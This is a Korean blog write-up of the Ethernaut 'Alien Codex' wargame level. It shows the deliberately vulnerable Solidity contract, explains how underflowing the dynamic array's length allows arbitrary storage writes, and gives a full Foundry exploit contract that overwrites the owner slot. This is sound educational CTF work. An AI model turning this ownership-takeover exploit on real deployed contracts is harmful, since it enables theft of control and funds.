| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 |
- approve
- writeup
- syntax
- Smart contract
- audit
- web3
- Oracle Cloud
- secureum
- hard fork
- byte code
- web assembly
- Assembly
- ethereum
- solidity
- ethernaut
- openzepplin
- Block
- libray
- NaughtCoin
- soft fork
- ethereum virtual machine
- coin flip
- Wargame
- transaction
- Ethererum
- chain reorganization
- EVM
- Coin
- TransferFrom
- tx.origin
- Today
- Total
c0mpos3r
[Ethernaut] 19. Alien Codex WriteUp 본문
1. 문제 분석
You've uncovered an Alien contract. Claim ownership to complete the level.
당신은 외계인 계약을 발견했습니다. 수준을 완료하기위한 소유권을 청구합니다.
1-1. Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
동적 배열의 길이 조작을 통한 스토리지 덮어쓰기 취약점을 가지고 있다. 이를 통해 컨트랙트의 소유권을 탈취할 수 있는 심각한 결함을 포함
이 Contract는 Ownable 컨트랙트를 상속받아 소유권 개념을 가집니다. 주된 기능은 bytes32 타입의 데이터를 codex라는 동적 배열에 기록하고 관리하는 것입니다.
- 상태 변수:
- contact (bool): 특정 함수들을 호출하기 위한 조건 플래그입니다. 기본값은 false입니다.
- codex (bytes32[]): bytes32 데이터를 저장하는 동적 배열입니다.
- owner (address): Ownable로부터 상속받은 변수로, 컨트랙트 배포자의 주소가 저장됩니다. EVM 스토리지의 슬롯 0에 위치합니다.
- 주요 함수:
- makeContact(): contact 변수를 true로 설정하여 다른 기능들을 활성화합니다.
- record(): codex 배열에 새로운 데이터를 추가합니다.
- retract(): codex 배열의 마지막 요소를 제거하기 위해 길이를 1 감소시킵니다. (핵심)
- revise(): codex 배열의 특정 인덱스(i)에 있는 데이터를 수정합니다.
1-2. Alien Codex Contract 분석
핵심 취약점: 배열 Underflow Storage Crash
이 Contract의 가장 큰 문제는 retract 함수와 구버전 솔리디티(0.5.x)의 특성이 결합하여 발생합니다.
1. 정수 언더플로우 (Integer Underflow)
retract 함수는 codex.length-- 코드를 사용하여 배열의 길이를 줄입니다. 만약 codex 배열의 길이가 0인 상태에서 이 함수를 한 번 더 호출하면, uint 타입의 길이 변수에서 언더플로우(Underflow)가 발생합니다.
- 0 - 1 연산의 결과는 uint 타입의 최댓값, 즉 이 됩니다.
- 결과적으로, codex 배열의 길이는 거의 무한대에 가까운 엄청나게 큰 값으로 설정됩니다.
2. EVM Storage Layout
컨트랙트의 데이터는 스토리지(Storage)라는 영구적인 공간에 순서대로 저장됩니다.
- 슬롯 0: 첫 번째 상태 변수인 owner 주소 (상속받은 변수)
- 슬롯 1: 두 번째 상태 변수인 codex 배열의 길이(length)
- 슬롯 keccak256(1) 부터...: codex 배열의 실제 데이터
3. 취약점의 결합
언더플로우로 인해 codex의 길이가 이 되면, revise(uint i, ...) 함수의 경계 검사(i < codex.length)가 사실상 무력화 됩니다. 이제 공격자는 거의 모든 i 값에 대해 검사를 통과할 수 있습니다.
이는 공격자가 codex 배열의 인덱스를 조작하여 컨트랙트의 모든 스토리지 슬롯에 원하는 값을 쓸 수 있게 됨을 의미합니다.
공격의 최종 목표는 owner 변수가 저장된 슬롯 0의 값을 자신의 주소로 덮어쓰는 것입니다.
공격 시나리오
- makeContact() 호출: 먼저 contact flag를 true로 만들어 다른 함수를 사용할 수 있게 합니다.
- retract() 호출로 언더플로우 유발:
- 만약 codex 배열에 요소가 있다면 retract()를 계속 호출하여 길이를 0으로 만듭니다.
- codex.length가 0이 되면 retract()를 한 번 더 호출하여 언더플로우를 일으킵니다.이제 codex.length는 입니다.
- owner 슬롯 위치 계산: codex 배열의 데이터는 keccak256(1) Slot부터 시작합니다. Slot 0을 덮어쓰기 위한 Index i는 다음과 같이 계산할 수 있습니다.이 i 값은 codex[i]가 스토리지 Slot 0을 가리키게 만듭니다.
- revise() 호출로 소유권 탈취: 계산된 인덱스 i와 공격자 자신의 주소를 bytes32로 변환한 값을 인자로 넣어 revise() 함수를 호출합니다.
-
Solidity
// attacker_address는 공격자의 이더리움 주소 codex.revise(i, bytes32(uint256(uint160(attacker_address)))); - 소유권 확인: 이제 컨트랙트의 owner는 공격자의 주소로 변경되었습니다. 공격자는 onlyOwner 제어자가 붙은 모든 함수를 호출할 수 있게 됩니다.
1-3. Reference 분석
1. 동적 배열의 스토리지 작동 방식
이더리움 가상 머신(EVM)의 스토리지는 단순히 32바이트 크기의 슬롯(slot)들이 끝없이 이어진 거대한 창고와 같습니다.
변수는 선언된 순서대로 이 창고의 0번, 1번, 2번... 슬롯에 차곡차곡 저장됩니다.
하지만 동적 배열(dynamic array)은 조금 특별하게 처리됩니다.
- 길이 저장: 동적 배열이 선언된 슬롯(예: p번 슬롯)에는 배열의 데이터가 직접 저장되지 않고, 대신 배열의 길이(length)가 저장됩니다.
- 데이터 위치: 실제 데이터는 완전히 다른 위치에 저장됩니다. 그 시작 주소는 배열이 선언된 슬롯 번호 p를 keccak256 해시 함수로 계산한 값입니다. 즉, 데이터는 keccak256(p) Slot부터 순차적으로 저장됩니다.
예시: 만약 bytes32[] public my_array;가 컨트랙트의 두 번째 변수로 선언되어 슬롯 1에 위치한다면:
- 슬롯 1: my_array의 길이를 저장합니다.
- 슬롯 keccak256(1): my_array[0]의 데이터를 저장합니다.
- 슬롯 keccak256(1) + 1: my_array[1]의 데이터를 저장합니다.
- 슬롯 keccak256(1) + 2: my_array[2]의 데이터를 저장합니다.
2. ABI 명세 이해하기
ABI(Application Binary Interface)는 Contract 외부에서 함수를 호출하고 데이터를 주고받기 위한 "통신 규칙"입니다.
이 규칙에는 데이터를 어떻게 바이너리 형태로 인코딩(encoding)할지에 대한 명세가 포함됩니다.
여기서 중요한 것은 abi.encodePacked입니다. 이 함수는 여러 데이터를 패딩(padding) 없이 그대로 이어 붙여 하나의 바이너리 데이터로 만듭니다. 예를 들어, abi.encodePacked(uint256(1))은 숫자 1을 32바이트의 0x00...01로 변환합니다.
이것이 왜 중요할까요? 바로 위에서 설명한 배열 데이터의 시작 주소(keccak256(p))를 계산할 때, EVM은 내부적으로 이와 유사한 방식으로 슬롯 번호 p를 인코딩한 후 해시하기 때문입니다. 따라서 공격자는 이 규칙을 이용해 오프체인(off-chain)에서 정확한 스토리지 슬롯 주소를 미리 계산할 수 있습니다.
3. 매우 교묘한 접근법 (The Underhanded Approach)
이제 위 두 가지 개념을 조합하여 어떻게 교묘한 공격이 가능한지 알아보겠습니다. 이 공격은 주로 배열의 길이 검증을 우회하고 임의의 스토리지 슬롯을 덮어쓰는 것을 목표로 합니다.
가정:
- 공격 대상 컨트랙트에는 owner 변수가 슬롯 0에 저장되어 있습니다.
- my_array라는 동적 배열이 슬롯 1에 있습니다.
- 배열의 길이를 언더플로우(underflow) 시켜 거대한 수()로 만들 수 있는 취약점이 있습니다.
- 사용자가 인덱스를 지정하여 배열의 값을 수정하는 함수 revise(uint index, bytes32 data)가 있습니다.
공격 시나리오:
- 길이 조작: 먼저 배열 길이 언더플로우 취약점을 이용해 my_array의 길이를 거의 무한대()로 만듭니다. 이제 revise 함수의 index < my_array.length와 같은 경계 검사는 사실상 무력화됩니다.
- 목표 설정: 공격 목표는 owner 변수가 저장된 슬롯 0을 덮어쓰는 것입니다.
- 인덱스 계산 (가장 교묘한 부분):
- my_array의 데이터는 keccak256(1) 슬롯부터 시작합니다.
- my_array[i]의 주소는 keccak256(1) + i 입니다.
- 우리는 이 주소가 슬롯 0이 되게 하는 인덱스 i를 찾아야 합니다.
- 즉, keccak256(1) + i = 0 방정식을 풀어야 합니다.
- 공격 실행: 공격자는 revise(i, attacker_address) 함수를 호출합니다. 이때 i는 위에서 계산한 악의적인 인덱스이고, attacker_address는 공격자 자신의 주소입니다.
결과: my_array[i]에 값을 쓰는 연산은 실제로는 스토리지 슬롯 0에 공격자의 주소를 덮어쓰게 됩니다. 이로써 공격자는 컨트랙트의 owner가 되어 모든 권한을 탈취합니다.
2. Solving
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";
interface IAlienCodex {
// Events (if any were in the original contract, add them here)
// View functions
function contact() external view returns (bool);
function codex(uint256 index) external view returns (bytes32);
function owner() external view returns (address);
// State-changing functions
function makeContact() external;
function record(bytes32 _content) external;
function retract() external;
function revise(uint256 i, bytes32 _content) external;
// Ownable functions
function transferOwnership(address newOwner) external;
function renounceOwnership() external;
}
contract Attack {
address public target;
constructor(address _target) {
target = _target;
}
function attack() public {
IAlienCodex ac = IAlienCodex(target);
ac.makeContact();
ac.retract();
uint256 arraySlotStart = uint256(keccak256(abi.encode(1))); // slot index for 0th item of array
uint256 targetIndex = 0;
unchecked {
targetIndex = 0;
targetIndex -= 1; // overflows to 2**256 - 1
targetIndex -= arraySlotStart; // 2 ** 256 - 1 - arraySlotStart
targetIndex += 1; // 2**256 - arraySlotStart
} // targetIndex + arraySlotStart = 2**256 -> slot index overflows to 0
ac.revise(targetIndex, bytes32(uint256(uint160(msg.sender)))); // revise element in targetIndex to user address
}
}
contract CounterScript is Script {
address public instance = 0xC702700eC140602D040BC0DbB3ba9d0f41128ba3;
function run() public {
vm.startBroadcast();
Attack a = new Attack(instance);
a.attack();
vm.stopBroadcast();
}
}

3. 결론
EVM의 메모리 구조, 컴파일러 버전과 같은 시스템의 근본적인 동작 원리를 이해하는 것이 진정한 Smart Contract 보안의 핵심이다.
'Web3 > Hacking' 카테고리의 다른 글
| [Ethernaut] 20. Denial WriteUp (0) | 2025.08.24 |
|---|---|
| [Ethernaut] 21. Shop WriteUp (0) | 2025.08.20 |
| [Ethernaut] 18. MagicNumber WriteUp (1) | 2025.08.09 |
| [Ethernaut] 17. Recovery WriteUp (1) | 2025.08.08 |
| [Ethernaut] 16. Preservation WriteUp (1) | 2025.08.08 |